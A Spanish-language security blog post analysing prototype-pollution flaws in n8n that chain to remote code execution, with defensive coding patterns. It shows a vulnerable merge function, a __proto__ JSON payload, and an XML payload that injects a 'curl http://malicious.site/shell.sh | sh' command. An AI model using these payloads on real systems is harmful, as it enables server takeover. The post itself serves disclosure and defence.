Contaminación de Prototipos Recargada: Análisis Profundo de las Cinco Vulnerabilidades RCE de Puntuación 9.4 de n8n
Si desarrollas aplicaciones Node.js, necesito que dejes lo que estés haciendo y prestes mucha atención. El 22 de mayo de 2026, la Agencia de Seguridad Cibernética de Singapur (CSA) y grupos de investigación de seguridad globales publicaron un aviso urgente dirigido a los usuarios de n8n, la popular plataforma de automatización de flujos de trabajo de código abierto.
n8n apresuró parches de seguridad que abordan cinco vulnerabilidades críticas que conllevan una asombrosa puntuación CVSS v4.0 de 9.4 (incluyendo CVE-2026-42231, CVE-2026-42232 y CVE-2026-44789). Estas fallas de seguridad se centraron en un vector de vulnerabilidad de Node.js clásico, persistente y altamente peligroso: Prototype Pollution (Contaminación de Prototipos). Cuando se encadenan, un atacante podría desencadenar una Ejecución Remota de Código (RCE) o lecturas arbitrarias de archivos del sistema en el servidor de alojamiento.
Pasé la mañana diseccionando los parches. Desmitifiquemos la mecánica de la Contaminación de Prototipos de JavaScript, reconstruyamos cómo los nodos analizadores (parsers) XML de n8n permitieron que esta contaminación cayera en cascada en un RCE a nivel de sistema, y veamos mis patrones de programación recomendados para neutralizar estos vectores en tus propias aplicaciones web Node.js.
Comprender la Contaminación de Prototipos
Para entender cómo n8n fue víctima, primero debemos comprender el diseño único de la herencia prototípica de JavaScript.
En JavaScript, los objetos heredan propiedades y métodos de un objeto prototipo. Si creas un objeto simple const dev = { name: "Elvis" }, hereda implícitamente de Object.prototype.
Si una aplicación fusiona (merge) o analiza recursivamente cargas útiles (payloads) JSON o XML controladas por el usuario en un objeto sin una validación estricta de las claves, un atacante puede pasar un payload que contenga la clave mágica especial __proto__.
El Patrón Vulnerable:
Veamos una utilidad clásica de fusión de objetos vulnerable:
// Una fusión recursiva clásica que es un completo desastre de seguridad
function insecureMerge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
insecureMerge(target[key], source[key]);
} else {
// La asignación directa permite la inyección de la propiedad __proto__
target[key] = source[key];
}
}
return target;
}
// Payload de ataque pasado como JSON
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};
insecureMerge(userSession, attackerPayload);
// Ahora, ¡cada objeto creado en este proceso de Node.js hereda la propiedad 'isAdmin'!
const normalUser = {};
console.log(normalUser.isAdmin); // Salida: ¡true! (Tu prototipo ha sido contaminado exitosamente)
Al contaminar Object.prototype, el atacante inyecta propiedades globalmente en todo el entorno de ejecución.
Reconstruir la Cadena RCE de n8n
El conjunto de vulnerabilidades de n8n resalta cómo la simple contaminación de prototipos puede ser aprovechada para comprometer un servidor de aplicaciones completo.
[ Payload Malicioso XML / JSON del Atacante ]
│
▼
[ n8n Webhook / XML / Analizador de Solicitudes HTTP ]
(La biblioteca vulnerable xml2js analizó __proto__)
│
▼
[ Object.prototype Contaminado ]
(Propiedades globales en tiempo de ejecución manipuladas)
│
▼
[ Ejecución del Nodo Git de n8n ]
(Extrae propiedades del sistema: ej., gitPath / comandos shell)
│
▼
[ Ejecución Remota de Código (RCE) ]
(Un comando shell malicioso se ejecuta en el host)
La Inyección a través de xml2js (CVE-2026-42231)
La raíz del problema radica en las bibliotecas de análisis utilizadas en los nodos Webhook, XML y HTTP Request de n8n. Específicamente, el nodo analizador XML procesaba payloads XML usando el popular analizador xml2js.
Debido a una falla al filtrar claves especiales como constructor y prototype, un atacante podía transmitir un payload XML construido para contaminar el prototipo base del proceso:
<!-- Payload conceptual de contaminación de prototipos vía XML -->
<root>
<constructor>
<prototype>
<gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
</prototype>
</constructor>
</root>
La Cadena RCE en el Nodo Git (CVE-2026-44790)
Aquí es donde la cadena se vuelve letal. n8n cuenta con un Nodo Git que permite a los flujos de trabajo clonar, confirmar (commit) y empujar (push) configuraciones. Cuando se ejecuta el nodo Git, hace referencia a una utilidad de ruta interna para encontrar el ejecutable git del sistema local:
// Dentro de la lógica de ejecución del flujo de trabajo vulnerable
const execPath = options.gitPath || 'git'; // Si options.gitPath está indefinido, comprueba el prototipo
child_process.exec(`${execPath} status`, ...);
En circunstancias normales, options.gitPath es 'undefined' (indefinido), por lo que el sistema utiliza de forma predeterminada el binario seguro 'git'. Sin embargo, debido a que el atacante contaminó con éxito Object.prototype.gitPath a través del exploit del nodo XML, la comprobación options.gitPath devolvió ¡el comando shell malicioso inyectado!
Cuando el nodo Git ejecutó exec(), ejecutó el script de shell, otorgando al atacante el control remoto total del shell sobre el sistema host n8n.
Bloquear las Claves Mágicas
Si estás desarrollando API de backend con Node.js o JavaScript, hay tres patrones de diseño principales para eliminar permanentemente la Contaminación de Prototipos.
1. Denegar Nombres de Claves en los Analizadores
Al escribir funciones personalizadas de fusión, copia o análisis, deniega explícitamente las claves que hacen referencia a propiedades prototípicas:
// Lista de bloqueo explícita para detener la inyección de __proto__
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
function secureMerge(target, source) {
for (let key in source) {
if (BLACKLIST.includes(key)) continue; // Eliminar silenciosamente las claves maliciosas
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
secureMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2. Crear Objetos Sin Prototipos
Al crear tablas de búsqueda de pares clave-valor o almacenes de configuración, instancia objetos sin cadenas prototípicas estándar. El uso de Object.create(null) crea un diccionario que no hereda de Object.prototype, haciéndolo inmune a las búsquedas de contaminación global:
// Un diccionario completamente en blanco sin propiedades de prototipo que contaminar
const dict = Object.create(null);
console.log(dict.toString); // undefined
Consejo Pro: Congela el Prototipo en Producción
Como último mecanismo de seguridad, puedes congelar el
Object.prototypeglobal en el punto de entrada de tu aplicación. Esto evita cualquier modificación en el prototipo principal después de la inicialización:
// Congelar el Objeto base para neutralizar todos los intentos de contaminación de prototipos
Object.freeze(Object.prototype);
En Conclusión
La flexibilidad de JavaScript es su mayor fortaleza, pero la herencia prototípica es un clásico disparo en el pie si confías ciegamente en JSON/XML entrantes. Sanea (sanitize) tus árboles de análisis, usa Object.create(null), congela tus prototipos globales en producción y actualiza tus instancias de n8n inmediatamente.
Referencias y Fuentes Oficiales
- Advertencia de Singapur CSA: Aviso de alto riesgo para los equipos de TI empresariales de Singapur sobre RCE en n8n. csa.gov.sg/alerts-advisories/n8n-rce-vulnerabilities
- Aviso de Seguridad de n8n (GitHub GHSA): Detalles y parches de versión para CVE-2026-42231 y errores relacionados. github.com/n8n-io/n8n/security/advisories
- GBHackers CyberSecurity: Análisis de la cadena de exploit y prueba de concepto para la contaminación de prototipos CVSS 9.4 en n8n. gbhackers.com/n8n-rce-vulnerability

